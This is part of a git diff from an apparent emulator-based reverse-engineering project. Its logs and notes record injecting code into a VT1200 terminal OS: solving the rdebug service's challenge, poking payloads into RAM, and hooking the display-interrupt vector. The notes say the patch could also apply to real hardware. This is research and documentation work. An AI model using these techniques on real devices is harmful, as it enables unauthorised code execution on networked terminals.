zYMYwn$CwnyO5L=`o13Pzhf*e{UVE6jlv5|7QKKNlzUX>(_SjVC`7v_ly=zd?b=zvi zN?ycYY&*98dx$aLMI(pNC0FoluJXh+|3#jl{kn!OWLunSSgJr@`sH$P?W@_H0TF(9 zpBl;eJu>tC%{K1q8K&JCR8yDQ{XaC$SL`(zc#@`e+f296L3rurN^?bOCi>Ub#k?ly zE1o@!ri=u}NX}*&yHZX`#=l+kNzp1VZXjI|`cuO5o5b)_oxLIkz8HdH_st`oG9KQq zL(ocUPCtvizR~bN@x&R9{+gxzlciVr;VeyLPQEkgs;#$j6f9jRX~JL2^$76FPWfrR z2mLi~YV$|W-rd=oB-Rho+?s{-O6vsHR;D2{BpVVwzh!|w;lEk zxbB2m-=}@eI=}6o#mcJe0{$dMB>g1LN8JC}D?X!o;DNG_{52!|S|Qugp{el<=6YE) zGhHu!r}XFJkoef$u8FX#QloEoqP0JGcaa z>4`dDq{J#b>Wam_CMEB!WD4sx_zKpI{Y)hEKy$>~U4I2D**T)Tpo-`zZ$lnx*kVx; zWu-<5Dt-S^4df6Ku>Wuao3>MUN-G4PeptvLtoSV+t|N$+lTeW~ZX7uR3oK`TjGXL z-m#qIGP|ZJ_X%#waGqFzqPW=a=K}%X8cvm z9!2mg9nJ=OH!C=yRN3K&nZp@HM2{Hg&GbFD#Y|}19KLWHqRK?qn6U6~`-h*?8667p_%Tp7Y zTu?kZwYKll$t#mM=Xz$6C{kA;7=C#QmlG)#(@1VClzM|^0>Ob=faQh8+|#1~={fO> zJc+wA8P@b5i@oj?^R5ONcJWl=?yH|BT#ym^(;*v@I>|Rvcaj#8CHpaQiHX{*1)`eC zQh=STh%!o<`iHqRL`J>g=1ZdeU0&@nQ0vG_{sfYj`6~j&sP$hVvBdptM=v`Hfr#)i zVCKt?3?;0bhDzMmP$YBoASyRkg{GN|HA~A_q~$&is=}K;V9%@|nh()_=C+d)Hcvtc z;li8q=`uF6Kfynh|*HCtD$&tuE9&k zLR0>pyXEVN%4`@6SezKT>2aX=^-1panror35brq0`IlC?1^j}cZ*0+^5~adh(WtsY z<`@&T!l$y@v|C9*i|Y5eo%dmK5T;;TuRU`=s=152zVJaaB71sgYe?PyT^x{ai;ooc zN*bDS5B_HsKv55^&yM~%l7)HANff*Yr}adgOd;qAf_psHq@6SR(ui$^di3A`kuWEy z@)(ix{~E&mx$c6#4_zhrMh>b=yxn&w|I2<%JU`#uK|c7K$RWh5%SUxZdfzS~ep55Mxs9AF ziY1(Jhz^_#Q%G56;EpGBpg^SY2?eLNnW9?_*~pkQg5pV&{Wm#Qa!ltW>;2p3X{m#d zaXbr*mtHknq^Bs(KOLB!5dDnfQsWdX zHt=EB&aqwLe=Oy%HO1BuY_6Ebcb!?r4aVO?E&bm}g~Rhj=^P5sBo$+4YH#sUUnzmB Mm-ID@F5rUy1OE*5vj6}9 literal 0 HcmV?d00001 diff --git a/dwt/evidence/visual/static_draw_client.log b/dwt/evidence/visual/static_draw_client.log new file mode 100644 index 0000000..2d9bb85 --- /dev/null +++ b/dwt/evidence/visual/static_draw_client.log @@ -0,0 +1,10 @@ +inject at frame 3398 +[+] challenge ff fc db b7 00 00 db 9b 02 63 a8 c0 ff fc db b8 +[+] reply 47 21 6e f9 03 f9 82 cb b8 09 8f 65 eb 79 b5 ce +opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +poke-file dwt/visual/build/drawal.bin: 122 bytes at 0x01840000: ok +[.] jump returned 0x00000000 (0) +jump 0x01840000: returned 0x00000000 (0) payload=00 00 00 00 +post-jump opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +after-peek 0x0400c030 (64) -> 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff +client done at frame 3423 diff --git a/dwt/evidence/visual/step1_alive_3500.png b/dwt/evidence/visual/step1_alive_3500.png new file mode 100644 index 0000000000000000000000000000000000000000..4c4989c936edba6613ab5199102b9b374700da94 GIT binary patch literal 5412 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 S`e^rvfTp^x+Pf>b(0>6DYpi$x literal 0 HcmV?d00001 diff --git a/dwt/evidence/visual/step1_ret_test.log b/dwt/evidence/visual/step1_ret_test.log new file mode 100644 index 0000000..f658bf8 --- /dev/null +++ b/dwt/evidence/visual/step1_ret_test.log @@ -0,0 +1,16 @@ +install ret_test at frame 3399 +[+] challenge f6 a4 dd 1c 00 00 db ce 02 63 a8 c0 f6 9c dd 1d +[+] reply 64 cc 17 6d 41 c9 c8 07 65 36 c9 28 f2 e2 98 13 +opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +poke-file dwt/visual/build/ret_test.bin: 30 bytes at 0x01840000: ok +[.] jump returned 0x00000000 (0) +jump 0x01840000: returned 0x00000000 (0) payload=00 00 00 00 +post-jump opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +after-peek 0x01850000 (32) -> de c0 07 b0 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 +client done at frame 3438 +[+] challenge f5 ec e3 b5 00 00 e2 50 02 63 a8 c0 f5 ec e3 b5 +[+] reply b2 0c 80 4f 1b f7 ad 56 37 44 53 12 d4 70 72 d8 +opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +post-jump opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +after-peek 0x01850000 (16) -> de c0 07 b0 55 55 55 55 55 55 55 55 55 55 55 55 +second liveness at frame 3526 diff --git a/dwt/evidence/visual/step3_blink_client.log b/dwt/evidence/visual/step3_blink_client.log new file mode 100644 index 0000000..2088f77 --- /dev/null +++ b/dwt/evidence/visual/step3_blink_client.log @@ -0,0 +1,21 @@ +install blinkev at frame 3396 +[+] challenge ee bc de 08 00 00 db bd 02 63 a8 c0 ee b4 de 09 +[+] reply a4 05 87 aa bd 84 96 24 5c b3 bf b0 6d 7a 1c 04 +opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +poke-file dwt/visual/build/blinkev.bin: 252 bytes at 0x01840000: ok +[.] jump returned 0x00000000 (0) +jump 0x01840000: returned 0x00000000 (0) payload=00 00 00 00 +post-jump opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +after-peek 0x01840800 (32) -> 0b 00 00 00 80 13 70 3f 21 00 20 00 00 00 00 00 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 +install done at frame 3437 +--- query at 3450 --- +[+] challenge ff fc df 0f 00 00 de fe 02 63 a8 c0 ff fc df 10 +[+] reply 51 20 c7 45 f0 45 2d 0f 3b d6 a6 3f 19 83 25 da +error: timed out +now 3560 +--- query at 3470 --- +error: [Errno 113] No route to host +now 3560 +--- query at 3500 --- +error: [Errno 113] No route to host +now 3560 diff --git a/dwt/evidence/visual/summary.txt b/dwt/evidence/visual/summary.txt new file mode 100644 index 0000000..742e3cf --- /dev/null +++ b/dwt/evidence/visual/summary.txt @@ -0,0 +1,95 @@ +Visual injection on the running VT1200 OS -- key numbers +========================================================= +ROM md5 b46a3e442ccb86134d2356bd70d22fd2 (unchanged). No driver edits. +OS path: VT1200_SKIP_LEVEL1=1 (documented divergence), private -nvram_directory, +rdebug over TCP 771 with the computed challenge (dwt/solve.py chain). + +1. `jump` is a call and returns; the OS stays alive +--------------------------------------------------- +dwt/visual/build/ret_test.bin = 30 bytes, linked at bit 01840000h. +Step1 log: dwt/evidence/visual/step1_ret_test.log + jump 0x01840000: returned 0x00000000 + after-peek 0x01850000 -> de c0 07 b0 (0xC0DE, 0xB007) + post-jump opcode 7 -> Done + second connection at frame 3526: opcode 7 -> Done; markers still de c0 07 b0 +Frame at 3500 (step1_alive_3500.png) is the live Terminal Manager. +So the loader is a real call: stack/return are intact, and the TCP session is +usable before and after. + +2. Static VRAM draw lands, but the OS repaints it +-------------------------------------------------- +drawal.bin: three word-aligned black 32x32 boxes at (48,48), (256,400), +(928,752). Client log: dwt/evidence/visual/static_draw_client.log + after-peek 0x0400C030 (64) -> 00 00 00 00 ff ff ... (the writes are in VRAM) + jump returned; TCP Done; markers D2A0/B0C0. +Frames 3420 (before) and 3430 (after) are byte-identical +(static_before_3420.png / static_after_3430.png; md5 e98b9b4a38 both), and the +box regions do not change in any of 3420..3600. The OS repaints before the +next scanout. +Control (CPU frozen after the same draw): control_spin_box_3480.png shows the +black box, and the hello-world 256x64 block appears (control_hello_3480.png), +so the coordinates/renderer mapping are right. + +3. Resident display-interrupt hook +---------------------------------- +DI vector: RLONG(0xFFFFFEA0) = 00000DB0h. RAM stub there is 6 bytes: + 80 c0 d0 46 71 3f = JA 3F7146D0h (stock OS display handler) +install rewrites the 32-bit target only: + 80 c0 90 01 84 01 = JA 01840190h (our entry) +(both read from dwt/evidence/visual/live/runpc/vt1200-ram-3440.bin; the dump + itself is not committed -- see di_one_shot_state.log for the same stub read + through the running system.) + +(a) draw before the stock handler: handler runs (counter 0x0A,0x62,...), but + no box ever appears -- the handler repaints after the draw. + +(b) return-PC trampoline (draw after the handler's `reti`): visible blink. + Payload `dwt/visual/build/blinkev.bin` (252 bytes; the post-handler + trampoline with scratch at 01840800h). Two runs: + run A (blink_resident_client.log), frames 15: + frame 3450 box region 56.2% lit (black box ON) + frame 3480 box region 100.0% (box OFF, white body) + frame 3500 box region 56.2% (box ON again) + TCP answered at 3450 and at 3500 (post-jump opcode 7 -> Done). + run B (blink_repeat_client.log), frames live3, 5-frame dumps: + 3440/3450 OFF, 3455..3520 ON (10-frame pairs): + blink2_off_3450.png, blink2_on_3460.png, blink2_on_3500.png. + The install returned and its post-jump opcode 7 -> Done, but a new + connection at 3450 got the challenge then timed out, and by 3470 the + terminal's IP stack was gone ("No route to host"). So the blink is + reproducible, TCP survival is flaky. + LIMIT: only the first trampoline entry draws. The stock handler's full + path (0x3F579880) stops returning through the patched saved PC; the + counter sticks at 1 (di_one_shot_state.log). So this is a real but + short-lived blink, not a durable one. Breakpoint log: hook_breakpoints.log + (ENTRY 1, RET 1, stock handler 34+). + +(c) with the settle/IE work, the one-shot post-handler draw persists: frames + 24/25 show the black box at (448..511, 400..463) for 600+ frames, and the + OS answers TCP at 3500/3600/3700/3800/4000 + (settled_hook_client.log; settled_hook_mame.log). It does not toggle. + +(d) INT2 hook (stub 0F30h, handler 3F714530h) was tried; at idle the handler + never takes the trampoline (counter 0), so it is not a blink source here. + +4. Window +--------- +Port 6000 is OPEN on 192.168.99.2 (xcheck.log); 6001 is closed. An ordinary +X client is rejected: + xdpyinfo -display 192.168.99.2:0 -> "Client is not authorized to access server" +So a normal X client cannot open a window without the server's auth cookie. +Injection of a window was NOT attempted: it needs the X server's window +structures, resource IDs and callbacks; that is a project, not an experiment. + +Evidence files +-------------- +step1_ret_test.log, step1_alive_3500.png +static_draw_client.log, static_before_3420.png, static_after_3430.png +control_spin_client.log, control_spin_box_3480.png, control_hello_3480.png +blink_resident_client.log, blink_on_3450(_crop).png, blink_off_3480(_crop).png, +blink_on_3500.png, blink_mame.log +blink_repeat_client.log, blink_repeat_mame.log, blink2_off_3450.png, +blink2_on_3460.png, blink2_on_3500.png, step3_blink_client.log +settled_hook_client.log, settled_hook_mame.log, posthandler_persist_3600.png +di_one_shot_state.log, hook_breakpoints.log +xcheck.log, xcheck_mame.log diff --git a/dwt/evidence/visual/xcheck.log b/dwt/evidence/visual/xcheck.log new file mode 100644 index 0000000..3bcde43 --- /dev/null +++ b/dwt/evidence/visual/xcheck.log @@ -0,0 +1,4 @@ +771: OPEN (0.00s) +6000: OPEN (0.01s) +6001: closed/failed: [Errno 111] Connection refused +frame 1068 diff --git a/dwt/evidence/visual/xcheck_mame.log b/dwt/evidence/visual/xcheck_mame.log new file mode 100644 index 0000000..2cdb3e9 --- /dev/null +++ b/dwt/evidence/visual/xcheck_mame.log @@ -0,0 +1,12 @@ +vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901 +vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901 +vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1 +vt1200: screen_update#3 frame=0 clip_y=0..900 screen=1280x901 +vt1200: scanline#1 line=0 enabled=1 +vt1200: guard#2 frame=0 dump_frame=-1 dump_ram=-1 +vt1200: screen_update#4 frame=1 clip_y=0..0 screen=1280x901 +vt1200: scanline#2 line=0 enabled=1 +vt1200: scanline#3 line=1 enabled=1 +vt1200: scanline#4 line=2 enabled=1 +frame_clock: stopping at frame 3700 +Average speed: 336.39% (51 seconds) diff --git a/dwt/notes/CROSS.md b/dwt/notes/CROSS.md index f010bfb..65ea844 100644 --- a/dwt/notes/CROSS.md +++ b/dwt/notes/CROSS.md @@ -285,3 +285,28 @@ Files: `dwt/challenge.py`, `dwt/solve.py`, `dwt/notes/CHALLENGE_REVERSE.md`, `dwt/evidence/oracle-*.log`, `dwt/evidence/VALIDATION.txt`, `dwt/evidence/live-run{,2}/`, `dwt/evidence/scripts/{oracle_call,live_verify,live_check}.lua`. `dwt/exploit.py` and `dwt/mop_console.py` were not modified. + +## 2026-10-18 — visual injection via the returning rdebug `jump` + +**`jump` is a real `call`.** A 30-byte `rets` payload writes markers, returns +`0`, and the same TCP session plus a later connection still answer opcode 7 +(`dwt/evidence/visual/step1_ret_test.log`). + +* **Static VRAM draw lands but is repainted.** A three-box payload's writes are + visible in an immediate `peek` but frames before/after are identical; a + spinning control shows the same boxes, so the coordinates are right. +* **Resident DI hook:** `RLONG(0xFFFFFEA0) = 00000DB0h`, stub `JA 3F7146D0h`. + Patching the stub works (pre-handler draw is repainted). A return-PC + trampoline (draw after the handler's `reti`) produced a visible blink: + frames 3450 (box on) / 3480 (off) / 3500 (on), TCP answered at 3450 and 3500. + It is **not durable** — only the first entry takes the `reti` path; later + entries take the `jauc 3F579880` full path and stop using the patched PC + (counter sticks at 1). A one-shot post-handler box persists for 600+ frames. +* **Window:** port 6000 is open, but `xdpyinfo` is rejected (“Client is not + authorized”). Opening a window by injection was not attempted; it is an + X-structure project. + +Details, addresses, frames and limits: `dwt/notes/VISUAL_INJECTION.md`, +`dwt/evidence/visual/`. ROM md5 unchanged; no driver edits; only +`VT1200_SKIP_LEVEL1=1` (documented divergence) and a private nvram. + diff --git a/dwt/notes/VISUAL_INJECTION.md b/dwt/notes/VISUAL_INJECTION.md new file mode 100644 index 0000000..b097541 --- /dev/null +++ b/dwt/notes/VISUAL_INJECTION.md @@ -0,0 +1,164 @@ +# Visual injection through the rdebug loader + +Status: **the loader returns, a one-shot post-handler draw persists, and a +resident display-interrupt hook produced a visible blink** (black box on at +frames 3450/3500, off at 3480; a repeat run gives off at 3440/3450 and on from +3455). The blink is **not durable and TCP survival is flaky**: in the best run +the OS answered TCP at 3450 and 3500, in the repeat run it had lost TCP by +3450. The stock display handler's full path stops returning through the +patched saved PC, so the resident hook draws once and then only the box stays. +A durable blink needs the full display path (or an X-level callback). + +ROM untouched (`md5 b46a3e442ccb86134d2356bd70d22fd2`). No driver edits. +Emulator only; private `-nvram_directory`; `VT1200_SKIP_LEVEL1=1` is the +documented harness divergence that makes the OS reach the GUI and TCP. + +All payloads are GSPA/GSPLNK output, built by `dwt/visual/build.sh` +(the `harness/hello-world` flow). The host driver is `dwt/visual/inject.py`, +which imports `dwt/exploit.py` and patches `answer_challenge` with +`dwt/challenge.respond` exactly like `dwt/solve.py`; it adds `--jump-wait`, +post-jump liveness and peek, so a return can be observed. + +## 1. `jump` is a call, and it returns + +`ret_test.asm` (30 bytes) writes `0xC0DE`/`0xB007` at bit `01850000h` and `rets`. + +``` +jump 0x01840000: returned 0x00000000 +after-peek 0x01850000 -> de c0 07 b0 +post-jump opcode 7 -> Done +second connection at frame 3526 -> Done, markers still de c0 07 b0 +``` + +So the stub table's `call *a13` has a real return address, our `rets` returns to +the dispatcher, and the same TCP connection (and a new one 88 frames later) +still works. Evidence: `dwt/evidence/visual/step1_ret_test.log`, +`step1_alive_3500.png`. + +Two bit-address traps were found here and are worth remembering: + +* A 32-bit cell is **+0x20 bits**, not +4. Early payloads put scratch cells at + +2/+4 bits and they overlapped, which looked like an OS crash. +* A 16-bit store to VRAM at x not a multiple of 16 does not produce the pixels + you expect. Word-aligned x (multiple of 16) works; the hello-world block and + `control_spin_box_3480.png` prove it. + +## 2. Static VRAM draws are repainted + +`drawal.asm` draws three black 32x32 boxes at frame-buffer (48,48), (256,400) +and (928,752), then returns. The writes land — an immediate `peek` of +`0400C030h` returns `00 00 00 00 ff ff ...` — but frames 3420 (before the draw) +and 3430 (after it) are byte-identical, and the three box regions never change +through 3600. The OS re-composites the screen before scanout. + +Control: `boxalign.asm` draws the same kind of box and then spins. The next +frame shows the black box (`control_spin_box_3480.png`), and the stock +hello-world payload run at OS time shows its 256x64 block +(`control_hello_3480.png`). So the draw and the renderer mapping are correct; +persistence is what fails. + +## 3. Resident display interrupt + +### The vector and stub + +The CPU vector table is in ROM, but the DI entry is a pointer to low RAM: + +``` +RLONG(0xFFFFFEA0) = 00000DB0h +00000DB0h: 80 c0 d0 46 71 3f = JA 3F7146D0h (stock OS DI handler) +``` + +`install` rewrites only the 32-bit target: + +``` +00000DB0h: 80 c0 90 01 84 01 = JA 01840190h (our entry) +``` + +The opcode word stays `C080h` (`jauc`); the target is written as one 32-bit +store under `dint`, so no interrupt can see a half-updated address. + +### Why the draw has to be after the handler + +* `blink.asm` (draw at handler entry, then `jauc 3F7146D0h`) ran: its counter + incremented, the TCP session stayed usable, but **no box ever appeared**. +* The stock handler tail-calls `3F579880` (the display work) and returns with + `reti`. A **return-PC trampoline** gets control after that: + `entry` reads the interrupt frame's saved PC at `SP+0x20`, stores it, replaces + it with `ret_hook`, and tail-jumps to `3F7146D0h`; `ret_hook` draws and returns + to the original PC with `rets 2` (the `2` skips the temporary a0 slot so the + interrupted stack is exactly balanced). `ret_hook` saves/restores a0-a5 and + ST, and `dint` is its first instruction. + +This produced the blink. The payload kept for the evidence is +`dwt/visual/build/blinkev.bin` (252 bytes; same return-PC trampoline, scratch +at `01840800h`): + +| frame | box region (fb 256..319 x 400..463) | state | +|---|---|---| +| 3450 | 56.2% lit | black box ON | +| 3480 | 100.0% lit | OFF (white body) | +| 3500 | 56.2% lit | black box ON | + +TCP answered at 3450 and 3500 in that run (`post-jump opcode 7 -> Done`). +The region is 56.2% rather than 0% because the box overlaps the Memory bar; the +crops show the black square clearly (`blink_on_3450_crop.png`, +`blink_off_3480_crop.png`). + +A repeat run with the same binary reproduces the visual blink (5-frame dumps: +3440/3450 OFF, 3455..3520 ON) but **loses TCP**: a new connection at 3450 got +the challenge and then timed out, and by 3470 the terminal's IP stack was gone. +So the blink is reproducible; keeping the OS fully alive with it is not yet. + +**The limit:** only the first trampoline entry draws. A breakpoint log shows +`ENTRY 1`, `RET 1`, then the stock handler continues 34+ times +(`hook_breakpoints.log`), and the counter sticks at 1 +(`di_one_shot_state.log`). The handler's depth counter at `0x1e9420` makes the +first entry take the `reti` path and later entries take the `jauc 0x3F579880` +full path, whose return does not use our patched saved PC. The one-shot draw +does persist (the OS does not repaint that box while idle): +`posthandler_persist_3600.png` and the settled run answer TCP through frame +4000 with the box still there (`settled_hook_client.log`). + +What would close this: hook `0x3F579880` (or its return) instead of the vector, +or hook a RAM function pointer the X server calls each frame. Both need the +full display path's calling convention; that is the next experiment. + +INT2 was tried as a faster periodic source (stub `0F30h`, handler `3F714530h`): +at idle the handler never takes the trampoline (counter 0), so it does not help. + +## 4. Windows + +* Port **6000 is open**; `6001` is closed (`dwt/evidence/visual/xcheck.log`). +* `xdpyinfo -display 192.168.99.2:0` is rejected: **“Client is not authorized + to access server.”** An ordinary X client cannot connect without the + server's auth cookie, so a legitimate window is not reachable in this setup + (this is a baseline, not injection). +* Creating a window by injection was **not attempted**: it needs the X + server's screen/window structures, resource IDs and callbacks. That is a + project, not an experiment. + +## 5. Caveats + +* The blink evidence is a **short-lived resident blink**, not a durable one. + The durable result is a persistent one-shot box. +* `VT1200_SKIP_LEVEL1=1` is required for the OS/TCP; the level-1 POST path is + not involved. +* The DI stub address (`00000DB0h`) and handler (`3F7146D0h`) are properties of + **this firmware image**. A different image must read `RLONG(0xFFFFFEA0)` and + the stub bytes first. +* The real unit would need the rdebug service reachable (the challenge is + solved offline by `dwt/challenge.py`) and the same RAM patch. On real + hardware the display interrupt timing and the RAM vector page should be + verified before writing; the patch itself is RAM-only and survives until + reset. + +## 6. Files + +| path | contents | +|---|---| +| `dwt/visual/*.asm` | `ret_test`, `drawal`, `draw_box`/`drawspin`, `boxalign`, `blink` (pre-handler), `blinkev` (return-PC trampoline, blink evidence), `blinkpc` (settled one-shot), `blink2` (INT2), `probe_*` | +| `dwt/visual/build.sh` | GSPA/GSPLNK build wrapper (same flow as hello-world) | +| `dwt/visual/build/` | linked `.bin` + maps/listings | +| `dwt/visual/inject.py` | challenge-solving client with `--jump-wait`, liveness, peek | +| `dwt/visual/*.lua` | frame clock / interrupt probe / PC and hook probes | +| `dwt/evidence/visual/` | frames, crops, client and MAME logs, `summary.txt` | diff --git a/dwt/visual/blink.asm b/dwt/visual/blink.asm new file mode 100644 index 0000000..fe2ab82 --- /dev/null +++ b/dwt/visual/blink.asm @@ -0,0 +1,73 @@ +; blink.asm -- resident blink hooked on the display interrupt via the firmware's +; own RAM trampoline at bit 00000DB0h 